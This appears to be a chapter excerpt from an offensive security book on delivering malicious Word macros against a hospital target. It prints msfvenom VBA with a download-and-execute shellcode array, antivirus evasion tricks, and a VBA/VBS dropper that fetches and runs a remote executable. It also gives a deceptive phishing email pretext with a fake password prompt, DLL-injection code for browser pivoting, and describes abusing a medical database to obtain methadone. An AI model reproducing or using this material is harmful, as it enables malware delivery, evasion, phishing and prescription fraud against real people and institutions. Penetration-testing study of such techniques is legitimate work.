How NOT to Stage a VBA Attack

The purpose of msfvenom is to create encoded payloads or shellcode capable of being executed on a wide range of platforms—these are generally Metasploit's own agents, although there are options to handle third-party code, such as Trojan existing executables and so forth. We'll talk later about Metasploit's handlers, their strengths and weaknesses, but for now let's keep things generic. One possibility msfvenom provides is to output the resulting payload as decimal encoded shellcode within a VBA script that can be imported directly into a Microsoft Office document (see Listing 1-1). The following command line will create a VBA script that will download and execute a Windows executable from a web URL:

This code has been thoughtfully obfuscated by the tool (function names and variables have been generated randomly) and the shellcode itself has been encoded using several iterations of the shikata-ga-nai algorithm. Nonetheless, this code will light up like a Christmas tree the moment it comes into contact with any kind of malware detection or virus scanner. By way of demonstration, we take this code, import it into a Word document, and see how easily it can be detected (see Figure 1.3).

Save this Word doc as a macro-enabled document, as shown in Figure 1.4.

If we upload this document to the aggregate virus scanning website www.virustotal.com we can see how it holds up to the analysis of 54 separate malware databases, as shown in Figure 1.5.

48 hits out of 54 AV engines? Not nearly good enough.

VirusTotal also provides some heuristic information that hints as to how these results are being derived, as shown in Figure 1.6.

Within the Tags section, we see our biggest offenders: auto-open and code injection. Let's pull the VBA code apart section by section and see what we can do to reduce our detection footprint. If we know in advance what AV solution the target is running, so much the better, but your goal should be nothing less than a detection rate of zero.

Examining the VBA Code

In the function declaration section, we can see three functions being imported from kernel32.dll. The purpose of these functions is to create a process thread, allocate memory for the shellcode, and move the shellcode into that memory space. Realistically, there is no legitimate need for this functionality to be made available in macro code that runs inside a word processor or a spreadsheet. As such (and given their necessity when deploying shellcode), their presence will often be enough to trigger malware detection.

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRef Und As Any, ByVal Issacgbu As Long) As LongPtr

Do note however, that a lot of virus scanners won't scan the declaration section, only the main body of code, which means you can alias a function import, for instance, as:

Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr

and call only the alias itself in the body of the code. This is actually sufficient to bypass a number of AV solutions, including Microsoft's Endpoint Protection.

Avoid Using Shellcode

Staging the attack as shellcode is convenient, but can be easily detected.

Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
    139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
    13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
    116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
    214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
    36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
    139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
    235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _
    7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
    49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _
    79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
    59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _
    86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _
    255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
    232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _
    2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _
    76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _
    45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
    91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
    49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _
    99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _
    98,111,98,46,99,111,109,0)

We can encode this in a number of ways using a number of iterations to ensure that it doesn't trigger an AV signature and that's great; that works fine. The problem is that doesn't alter the fact that it is still obviously shellcode. An array of bytes (despite being coded here as decimal rather than the more familiar hexadecimal) is going to look suspicious to AV and is most likely going to trigger a generic shellcode warning. Additionally, modern antivirus software is capable of passing compiled code (including shellcode) into a micro-virtual machine to test heuristically. It then doesn't matter how it's encoded—the AV is going to be able to see what it's doing. It makes sense for msfvenom to wrap its attacks up like this because then it can deploy all of its many payloads in one VBA script, but for a serious APT engagement it's not nearly covert enough. It's possible to encode this array in a number of ways (for instance as a Base64 string) and then reconstruct it at runtime, but this doesn't reduce AV hit count enough to be generally worth the effort.

The next block of code contains the function calls themselves:

Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)
    For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu)
    Hdhskh = Wizksxyu(Rxnffhltx)
    Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh,
	
Next Rxnffhltx
    Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)

Nothing much to add here except that functions VirtualAlloc, RtlMoveMemory, and CreateThread are inherently suspicious and are going to trigger AV no matter how innocent the rest of your code. These functions will be flagged even if there is no shellcode payload present.

Automatic Code Execution

The last point I want to make concerns the overly egregious use of auto-open functionality. This function ensures your macro will run the moment the user consents to enable content. There are three different ways to do this depending on whether your macro is running in a Word document, an Excel spreadsheet, or an Excel Workbook. The code is calling all three to ensure that whatever application you paste it into, the code will fire. Again, there is no legitimate need to do this. As a macro developer, you should know which environment you are coding for.

The default subroutine is called by Word and contains our payload:

    Sub Auto_Open
    Main block of code
End Sub 

The other two functions are called by Excel and simply point back to Word's Auto_Open function.

    Sub AutoOpen()
    Auto_Open
    End Sub
and
Sub Workbook_Open()
Auto_Open
End Sub

Use of one auto-open subroutine is suspicious, use of all three will almost certainly be flagged. Just by removing the latter two calls for a Word document, we can immediately reduce our AV hit rate. Removing all three reduces that count even further.

There are native functions within VBA that allow an attacker to download and execute code from the Internet (the Shell and URLDownLoadToFile functions, for example); however, these are subject to the same issues we've seen here–they are suspicious and they are going to get flagged.

The bottom line is that antivirus/malware detection is extremely unforgiving to MS Office macros given their long history of being used to deliver payloads. We therefore need to be a little more creative. What if there was a way to deploy an attack to disk and execute it without the use of shellcode and without the need for VBA to actively download and execute the code itself?

Using a VBA/VBS Dual Stager

We can solve this problem by breaking our stager down into two parts. Enter the Windows Scripting Host—also a subset of the Visual Basic language. Where VBA is only ever used within Office documents, VBS is a standalone scripting language analogous to Python or Ruby. It is designed and indeed required to do much more complex tasks than automating functionality within MS Office documents. It is therefore given a much greater latitude by AV. Like VBA, VBS is an interpreted non-compiled language and code can be called from a simple text file. It is a viable attack therefore to deploy an innocent-looking VBA macro that will carry a VBS payload, write it to file, and execute it. The heavy lifting will then be performed by the VBS code. While this will also require the use of the Shell function in VBA, we will be using it not to execute unknown or suspicious code, but for the Windows Scripting Host instead, which is an integral part of the operating system. So basically, we need two scripts—one VBA and one VBS—and both will have to be able to pass through AV undetected. The VBA macro subroutine to do this needs to look roughly like the following:

Sub WritePayload()
    Dim PayLoadFile As Integer
    Dim FilePath As String
     FilePath = "C:	emppayload.vbs"
     PayloadFile = FreeFile
     Open FilePath For Output As TextFile
     Print #PayLoadFile, "VBS Script Line 1"
     Print #PayLoadFile, " VBS Script Line 2"
     Print #PayLoadFile, " VBS Script Line 3"
     Print #PayLoadFile, " VBS Script Line 4"
    Close PayloadFile
    Shell "wscript c:	emppayload.vbs"
End Sub

Keep Code Generic Whenever Possible

Pretty straightforward stuff. Incidentally, the use of the word “payload” here is illustrative and should not be emulated. The benefit of keeping the code as generic as possible also means it will require very little modification if attacking an Apple OSX platform rather than Microsoft Windows.

As for the VBS itself, insert the following script into the print statements and you have a working attack—again this is contrived for illustrative purposes and there are as many ways of doing this as there are coders:

HTTPDownload "http://www.wherever.com/files/payload.exe", "C:	emp"
    Sub HTTPDownload( myURL, myPath )
        Dim i, objFile, objFSO, objHTTP, strFile, strMsg
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Set objFSO = CreateObject( "Scripting.FileSystemObject" )
        If objFSO.FolderExists( myPath ) Then
            strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
        ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "" ) - 1 ) ) Then
            strFile = myPath
End If
        Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
        Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
        objHTTP.Open "GET", myURL, False
        objHTTP.Send
        For i = 1 To LenB( objHTTP.ResponseBody )
            objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
        objFile.Close( )
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "c:	emppayload.exe"
    End Sub

Of course, anyone examining the VBA code is going to determine its intent fairly quickly, so I suggest some form of obfuscation for a real-world attack. Also note that this level of complexity is completely unnecessary to download and execute an executable. It would be possible to use the shell command to call various tools shipped with Windows to do this in a single command (in fact, I'll be doing this later in Chapter 6, in the section entitled, “VBA Redux”), but I wanted an excuse to introduce the idea of using VBA to drop a VBS script.

Code Obfuscation

There are a number of ways to obfuscate code. For the purposes of this exercise, we could encode the lines of the payload as Base64 and decode them prior to writing them to the target file; this is primitive but again illustrative. In any event, if a macro attack is discovered by a human party rather than AV and a serious and competent forensic exercise was conducted to determine the purpose of the code, then no amount of obfuscation if going to shield the intentions of the code.

This code can be further obfuscated (for example with an XOR function); it's really up to you how complex you want to make your code, although I don't recommend commercial solutions that require integrating third-party libraries into a document, as again these will be flagged by AV.

Let's integrate our stage two payload into our stage one VBA macro and see how it stands up to AV. Again, we use VirusTotal. See Figure 1.7.

Better, but what about the VBS payload itself once it touches disk? See Figure 1.8.

Uh-oh. We've got a hit by Qihoo-360. This is a Chinese virus scanner that claims to have close to half a billion users. No, I'd never heard of it either. It flags the code as virus.vbs.gen.33, which is another way of saying if it's a VBS file it's going to be declared as hostile by this product. This might be a problem in the highly unlikely event you ever encounter Qihoo-360.

So far, we've not included any mechanism for the code actually executing when our document is opened by the user.

Enticing Users

I don't like using the auto-open functions for reasons discussed previously and my opinion is that if a user is already invested enough to permit macros to run in the first place, then it's not a huge leap of the imagination to suppose they will be prepared to interact with the document in some further way. By way of example, with our attack in its current state, it will appear as shown in Figure 1.9 to the user when opened in Microsoft Word.

Not very enticing is it? A blank document that's asking you to click a button with the words “Security Warning” next to it. Any macro, whether it's been code-signed or not, will contain this exact same message. Users have become somewhat jaded to the potential severity of clicking this button, so we have two problems left to solve—how to get the user to execute our code and how to make the document enticing enough to interact with. The first is technical; the second is a question of social engineering. The latter combined with a convincing email (or other delivery) pretext can be a highly effective attack against even the most security-aware targets.

There are some good books about social engineering out there. Check out Kevin Mitnick's Art of Deception (Wiley, 2002) or Chris Hadnagy's Social Engineering: The Art of Human Hacking (Wiley, 2010).

Let's start by creating that pretext.

One particularly effective means of getting a target to open a document and enable macros—even when their hindbrain is screaming at them to stop—is to imply that information has been sent to them in error; it's something they shouldn't be seeing. Something that would give them an advantage in some way or something that would put them at a disadvantage if they ignored it.

With address autocomplete in email clients, we've all sent an email in haste to the wrong person and we've all received something not intended for us. It happens all the time. Consider the following email that “should have been sent” to Jonathan Cramer in HR but accidentally found its way to Dr. Jonathan Crane:

To: Dr. Jonathan Crane
From: Dr. Harleen Quinzel
Subject: CONFIDENTIAL: Second round redundancies

Jon,

Attached is the latest proposed list for redundancies in my team in the intensive treatment department. I'm not happy losing any members of staff given our current workload but at least now we have a baseline for discussion – I'll be on campus on Friday so please revert back to me by then.

Regards,

Harley

p.s. The document is secured as per hospital guidelines. When you're prompted for it the password is 'arkham'.

This is a particularly vicious pretext. Dr. Crane is now probably wondering if he's on that list for redundancies.

Attached to this email is our macro-carrying document, as shown in Figure 1.10.

Now we want to add a text box and button to the document that will appear when the target enables macros. We want to tie our VBS dropper code to the button so that it is executed when pressed, regardless of what the user types in the text box. A message box will then appear informing the target that the password is incorrect, again regardless of what was entered.

An additional advantage of the approach of this attack is that (assuming there are no additional indicators such as AV alerts) the target is unlikely to raise the alarm either to the sender, or to IT, because they weren't supposed to see this document in the first place, were they?

To assign a command or macro to a button and insert that button in your text, position the insertion point where you want the button to appear and then follow these steps:

1. Press Ctrl+F9 to insert a field.
2. Between the field brackets, type MacroButton, then the name of the command or macro you want the button to execute.
3. Type the text you want displayed, or insert a graphic to be used as a button.
4. Press F9 to update the field display.

At the end of the WritePayload() subroutine, you might want to consider adding the following line:

MsgBox "Incorrect password. IT security will be notified following further violations by " &
    (Environ$("Username"))

This will generate a popup message box masquerading as a security alert that includes the username of the currently logged in user. It's this personalized approach that makes the difference between success and failure when delivering your initial payload.

Bypassing Authentication

What if we could bypass all authentication mechanisms entirely? We can! This technique is called browser pivoting—essentially, we use our access to the target workstation to inherit permissions from the doctor's browser and transparently exploit his or her permissions to do exactly what we want.

To accomplish this attack, we need to be able to do three things:

• Inject code into the IE process accessing the medical database.
• Create a web proxy Dynamic Link Library (DLL) based on the Microsoft WinInet API.
• Pass web traffic through our SSH tunnel and the newly created proxy.

Let's look at all three stages. None of them is as complex as they might initially appear.

hHandle = OpenProcess( PROCESS_CREATE_THREAD |
                       PROCESS_QUERY_INFORMATION |

PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE,
procID ); 

GetFullPathName(TEXT("proxy.dll"),
    BUFSIZE,
    dllPath,
    NULL);
    hFile = CreateFileA( dllPath,
    GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL );
    dllFileLength = GetFileSize( hFile,
    NULL );
    remoteDllAddr = VirtualAllocEx( hProcess,
    NULL,
    dllFileLength,
    MEM_RESERVE|MEM_COMMIT,
    PAGE_EXECUTE_READWRITE );

    lpBuffer = HeapAlloc( GetProcessHeap(),
                          0,
                          dllFileLength);
    ReadFile( hFile,
              lpBuffer,
              dllFileLength,
              &dwBytesRead,
              NULL );
    WriteProcessMemory( hProcess,
                        lpRemoteLibraryBuffer,
                        lpBuffer,
                        dllFileLength,
                        NULL );
    dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);

    rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
    WaitForSingleObject(rThread, INFINITE);

Stage 3: Using the Injected Proxy Server

Assuming that the proceeding steps went according to plan, we now have an HTTP proxy server running on our target machine (we'll say TCP port 1234) and restricted to the local Ethernet interface. Given that our Command and Control infrastructure is not sufficiently advanced to open remote tunnels on the fly, we will need to hardcode an additional tunnel into our payload. At present, the only tunnel back into the target workstation is for accessing the SSH server. We need to add a remote tunnel that points to 1234 on the target and creates an endpoint (we'll say TCP port 4321) on our C2 server. This will look something like Figure 1.12.

At this point, we can add new patients and prescribe them whatever they want. No ID is required when picking meds up from the pharmacy, as ID is supposed to be shown when creating an account. Of course, this is just a tick box as far as the database is concerned. All we'll be asked when we go to pick up our methadone is our date of birth.